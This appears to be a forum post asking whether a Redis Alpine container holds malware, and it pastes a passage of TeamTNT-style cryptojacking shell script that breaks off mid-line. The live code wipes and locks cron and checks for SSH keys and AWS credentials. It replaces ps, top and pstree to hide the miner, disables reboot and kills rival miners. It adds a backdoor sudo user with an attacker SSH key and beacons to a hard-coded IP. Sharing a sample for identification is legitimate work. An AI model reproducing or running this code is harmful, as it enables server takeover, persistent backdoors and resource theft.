Redis:alpine - malware?

part 2 of the above script as the post was too long
#FixTheSystem

    function SetupNameServers(){	
    grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null
    grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null
    }

    SetupNameServers


    chattr -iR /var/spool/cron/
    tntrecht -iR /var/spool/cron/
    crontab -r

    function clean_cron(){
    chattr -R -ia /var/spool/cron
    tntrecht -R -ia /var/spool/cron
    chattr -ia /etc/crontab
    tntrecht -ia /etc/crontab
    chattr -R -ia /etc/cron.d
    tntrecht -R -ia /etc/cron.d
    chattr -R -ia /var/spool/cron/crontabs
    tntrecht -R -ia /var/spool/cron/crontabs
    crontab -r
    rm -rf /var/spool/cron/*
    rm -rf /etc/cron.d/*
    rm -rf /var/spool/cron/crontabs
    rm -rf /etc/crontab
    }

    clean_cron


    function lock_cron()
    {
        chattr -R +ia /var/spool/cron
        tntrecht -R +ia /var/spool/cron
        touch /etc/crontab
        chattr +ia /etc/crontab
        tntrecht +ia /etc/crontab
        chattr -R +ia /var/spool/cron/crontabs
        tntrecht -R +ia /var/spool/cron/crontabs
        chattr -R +ia /etc/cron.d
        tntrecht -R +ia /etc/cron.d
    }

    lock_cron

    function CheckAboutSomeKeys(){
        if [ -f "/root/.ssh/id_rsa" ]
        then
    			echo 'found: /root/.ssh/id_rsa'
        fi

        if [ -f "/home/*/.ssh/id_rsa" ]
        then
    			echo 'found: /home/*/.ssh/id_rsa'
        fi

        if [ -f "/root/.aws/credentials" ]
        then
    			echo 'found: /root/.aws/credentials'
        fi

        if [ -f "/home/*/.aws/credentials" ]
        then
    			echo 'found: /home/*/.aws/credentials'
        fi
    }

    CheckAboutSomeKeys


    if [ -f "/usr/bin/TeamTNT/[crypto]" ]
    then 
    service crypto stop
    rm -fr /usr/bin/TeamTNT/
    fi

    function SecureTheSystem(){
        if [ -f "/bin/ps.original" ]
        then
            echo "/bin/ps changed"
        else
            mv /bin/ps /bin/ps.original    
            echo "#! /bin/bash">>/bin/ps
            echo "ps.original \$@ | grep -v \"crypto\|pnscan\"">>/bin/ps
            chmod +x /bin/ps
                    touch -d 20160825 /bin/ps
            echo "/bin/ps changing"
        fi
        if [ -f "/bin/top.original" ]
        then
            echo "/bin/top changed"
        else
            mv /bin/top /bin/top.original  
            echo "#! /bin/bash">>/bin/top
            echo "top.original \$@ | grep -v \"crypto\|pnscan\"">>/bin/top
            chmod +x /bin/top
                    touch -d 20160825 /bin/top
            echo "/bin/top changing"
        fi
        if [ -f "/bin/pstree.original" ]
        then
            echo "/bin/pstree changed"
        else
            mv /bin/pstree /bin/pstree.original
            echo "#! /bin/bash">>/bin/pstree
            echo "pstree.original \$@ | grep -v \"crypto\|pnscan\"">>/bin/pstree
            chmod +x /bin/pstree
                    touch -d 20160825 /bin/pstree
            echo "/bin/pstree changing"
        fi
        if [ -f "/bin/chattr" ]
            then
                    chattrsize=`ls -l /bin/chattr | awk '{ print $5 }'`
                    if [ "$chattrsize" -lt "$chattr_size" ]
                    then
                yum -y remove e2fsprogs
                yum -y install e2fsprogs
                    else
                            echo "no need install chattr"
                    fi
            else
                yum -y remove e2fsprogs
                yum -y install e2fsprogs
        fi
    }

    function LockDownTheSystem(){
    LOCKDOWNARRAY=(shutdown reboot poweroff telinit)
    for LOCKDOWN in ${LOCKDOWNARRAY[@]}; do
    LOCKDOWNBIN=`which $LOCKDOWN` 2>/dev/null 1>/dev/null
    chattr -i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
    tntrecht -i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
    chattr -x $LOCKDOWNBIN 2>/dev/null 1>/dev/null
    #chmod 000 $LOCKDOWNBIN 2>/dev/null 1>/dev/null
    chattr +i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
    tntrecht +i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
    done

    chattr +i /proc/sysrq-trigger 2>/dev/null 1>/dev/null
    tntrecht +i /proc/sysrq-trigger 2>/dev/null 1>/dev/null


    LOCKDOWNFILES=("/lib/systemd/system/reboot.target" "/lib/systemd/system/systemd-reboot.service")
    for LOCKDOWNFILE in ${LOCKDOWNFILES[@]}; do

    chattr -i $LOCKDOWNFILE 2>/dev/null 1>/dev/null
    tntrecht -i $LOCKDOWNFILE 2>/dev/null 1>/dev/null
    chattr -x $LOCKDOWNFILE 2>/dev/null 1>/dev/null
    > $LOCKDOWNFILE
    rm -f $LOCKDOWNFILE 2>/dev/null 1>/dev/null
    done

    }


    function KILLMININGSERVICES(){

    echo "[*] Removing previous miner (if any)"
    if sudo -n true 2>/dev/null; then
      sudo systemctl stop crypto.service
    fi
    killall -9 xmrig
    echo "do KILLMININGSERVICES"

    $(docker rm $(docker ps | grep -v grep | grep "/bin/bash -c 'apt" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
    #$(docker rm $(docker ps | grep -v grep | grep "/bin/bash" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
    $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

    $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
    $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
    $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
    	
    	
    rm -f /usr/bin/docker-update 2>/dev/null 1>/dev/null
    pkill -f /usr/bin/docker-update 2>/dev/null 1>/dev/null
    killall -9 docker-update  2>/dev/null 1>/dev/null

    rm -f /usr/bin/redis-backup 2>/dev/null 1>/dev/null
    pkill -f /usr/bin/redis-backup 2>/dev/null 1>/dev/null
    killall -9 redis-backup 2>/dev/null 1>/dev/null

    rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
    pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
    rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null
    killall -9 xmrig 2>/dev/null 1>/dev/null

    LOCKFILE='IyEvYmluL2Jhc2gKZWNobyAnRm9yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVROVCBpcyB3YXRjaGluZyB5b3UhJw=='

    if [ ! -f /usr/bin/tntrecht ]; then
    chattrbin=`which chattr` 
    cp $chattrbin /usr/bin/tntrecht 2>/dev/null 1>/dev/null
    chmod +x /usr/bin/tntrecht 2>/dev/null 1>/dev/null
    chmod -x $chattrbin 2>/dev/null 1>/dev/null
    tntrecht +i $chattrbin 2>/dev/null 1>/dev/null
    fi

    LOCKFILE='IyEvYmluL2Jhc2gKZWNobyAnRm9yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVROVCBpcyB3YXRjaGluZyB5b3UhJw=='

    if [ -f /root/.tmp/xmrig ]; then
    chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null
    tntrecht -iR /root/.tmp/ 2>/dev/null 1>/dev/null
    tmpxmrig=("/root/.tmp/config.json" "/root/.tmp/config_background.json" "/root/.tmp/xmrig.log" "/root/.tmp/miner.sh" "/root/.tmp/xmrig")
    for tmpxmrigfile in ${tmpxmrig[@]}; do
    rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null
    pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
    kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
    echo $LOCKFILE | base64 -d > $tmpxmrigfile 
    chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null
    chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null
    tntrecht +i $tmpxmrigfile 2>/dev/null 1>/dev/null
    pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
    kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
    killall $tmpxmrigfile 2>/dev/null 1>/dev/null
    chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null
    rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
    chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
    tntrecht +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
    pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
    ps ax| grep xmrig 2>/dev/null 1>/dev/null
    done
    fi

    if [ -f /usr/sbin/cpumon ]; then
    cpumonxmr=("/usr/sbin/cpumon" "/usr/cpu")
    for cpumonfile in ${cpumonxmr[@]}; do
    chattr -i $cpumonfile 2>/dev/null 1>/dev/null
    tntrecht -i $cpumonfile 2>/dev/null 1>/dev/null
    rm -f $cpumonfile 2>/dev/null 1>/dev/null
    pkill -f $cpumonfile 2>/dev/null 1>/dev/null
    kill $(pidof $cpumonfile) 2>/dev/null 1>/dev/null
    echo $LOCKFILE | base64 -d > $cpumonfile
    chmod +x $cpumonfile 2>/dev/null 1>/dev/null
    chattr +i $cpumonfile 2>/dev/null 1>/dev/null
    tntrecht +i $cpumonfile 2>/dev/null 1>/dev/null
    pkill -f $cpumonfile 2>/dev/null 1>/dev/null
    kill $(pidof $cpumonfile) 2>/dev/null 1>/dev/null
    killall $cpumonfile 2>/dev/null 1>/dev/null
    done
    fi

    if [ -f /opt/server ]; then
    chattr -i /opt/server 2>/dev/null 1>/dev/null
    tntrecht -i /opt/server 2>/dev/null 1>/dev/null
    rm -f /opt/server 2>/dev/null 1>/dev/null
    pkill -f /opt/server 2>/dev/null 1>/dev/null
    kill $(pidof /opt/server) 2>/dev/null 1>/dev/null
    fi

    if [ -f /tmp/log_rotari ]; then
    chattr -i /tmp/log_rotari 2>/dev/null 1>/dev/null
    tntrecht -i /tmp/log_rotari 2>/dev/null 1>/dev/null
    rm -f /tmp/log_rotari 2>/dev/null 1>/dev/null
    pkill -f /tmp/log_rotari 2>/dev/null 1>/dev/null
    kill $(pidof /tmp/log_rotari) 2>/dev/null 1>/dev/null
    fi

    BASH00=$(ps ax | grep -v grep |  grep "/root/.tmp00/bash")
    if [ ! -z "$BASH00" ];
    then
    chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
    tntrecht -i /var/spool/cron/root 2>/dev/null 1>/dev/null
    chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
    chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
    echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
    rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
    chattr -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
    tntrecht -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
    chmod -x /root/.tmp00/bash 2>/dev/null 1>/dev/null
    pkill -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
    kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash" | awk '{print $1}') 2>/dev/null 1>/dev/null
    kill $(pidof /root/.tmp00/bash) 2>/dev/null 1>/dev/null
    echo " " > /root/.tmp00/bash 2>/dev/null 1>/dev/null
    rm -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
    echo $StringToLock > /root/.tmp00/bash
    chattr +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
    tntrecht +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
    history -c 2>/dev/null 1>/dev/null
    fi

    BASH6400=$(ps ax | grep -v grep |  grep "/root/.tmp00/bash64")
    if [ ! -z "$BASH6400" ];
    then
    chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
    tntrecht -i /var/spool/cron/root 2>/dev/null 1>/dev/null
    chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
    chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
    echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
    rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
    chattr -i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    tntrecht -i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    chmod -x /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    pkill -f /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash64" | awk '{print $1}') 2>/dev/null 1>/dev/null
    kill $(pidof /root/.tmp00/bash64) 2>/dev/null 1>/dev/null
    echo " " > /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    rm -f /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    echo $StringToLock > /root/.tmp00/bash64
    chattr +i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    tntrecht +i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
    history -c 2>/dev/null 1>/dev/null
    fi

    KINSING1=$(ps ax | grep -v grep |  grep "/var/tmp/kinsing")
    if [ ! -z "$KINSING1" ];
    then
    chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
    tntrecht -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
    chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null
    pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
    kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/null
    kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null
    echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null
    rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
    echo $StringToLock > /var/tmp/kinsing
    chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
    tntrecht +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
    history -c 2>/dev/null 1>/dev/null
    fi

    KINSING2=$(ps ax | grep -v grep |  grep "/tmp/kdevtmpfsi")
    if [ ! -z "$KINSING2" ];
    then
    chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    tntrecht -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/null
    kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null
    echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    echo $StringToLock > /tmp/kdevtmpfsi
    chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    tntrecht +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
    history -c 2>/dev/null 1>/dev/null
    fi

    kill $(ps aux | grep -vw crypto | grep -v grep |grep -v scan | grep -vw "/usr/bin/xmrigMiner" | grep -vw "./shell"  | awk '{if($3>40.0) print $2}')

    }

    function makesshaxx(){
    RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver"
    grep -q hilde /etc/passwd || chattr -ia /etc/passwd; 
    grep -q hilde /etc/passwd || tntrecht -ia /etc/passwd; 
    grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd; chattr +ia /etc/passwd; tntrecht +ia /etc/passwd
    grep -q hilde /etc/shadow || chattr -ia /etc/shadow; 
    grep -q hilde /etc/shadow || tntrecht -ia /etc/shadow; 
    grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow; chattr +ia /etc/shadow; tntrecht +ia /etc/shadow
    grep -q hilde /etc/sudoers || chattr -ia /etc/sudoers; 
    grep -q hilde /etc/sudoers || tntrecht -ia /etc/sudoers; 
    grep -q hilde /etc/sudoers || echo 'hilde  ALL=(ALL:ALL) ALL' >> /etc/sudoers; chattr +i /etc/sudoers; tntrecht +i /etc/sudoers

    mkdir /home/hilde/.ssh/ -p  
    touch /home/hilde/.ssh/authorized_keys  
    touch /home/hilde/.ssh/authorized_keys2  
    grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || chattr -ia /home/hilde/.ssh/authorized_keys; 
    grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || tntrecht -ia /home/hilde/.ssh/authorized_keys; 
    grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || echo $RSAKEY > /home/hilde/.ssh/authorized_keys; chattr +ia /home/hilde/.ssh/authorized_keys; tntrecht +ia /home/hilde/.ssh/authorized_keys;
    curl  http://199.19.226.117/b2f628/dream.txt >>/dev/null
    cur http://199.19.226.117/b2f628/dream.txt >>/dev/null
    cd1 http://199.19.226.117/b2f628/dream.txt >>/dev/null
    TNTcurl http://199.19.226.117/b2f628/dream.txt >>/dev/null
    wget -q -O- http://199.19.226.117/b2f628/dream.txt >>/dev/null
    wge -q -O- http://199.19.226.117/b2f628/dream.txt >>/dev/null
    wd1 -q -O- http://199.19.226.117/b2f628/dream.txt >>/dev/null
    TNTwget -q -O- http://199.19.226.117/b2f628/dream.txt >>/dev/null
    grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || chattr -ia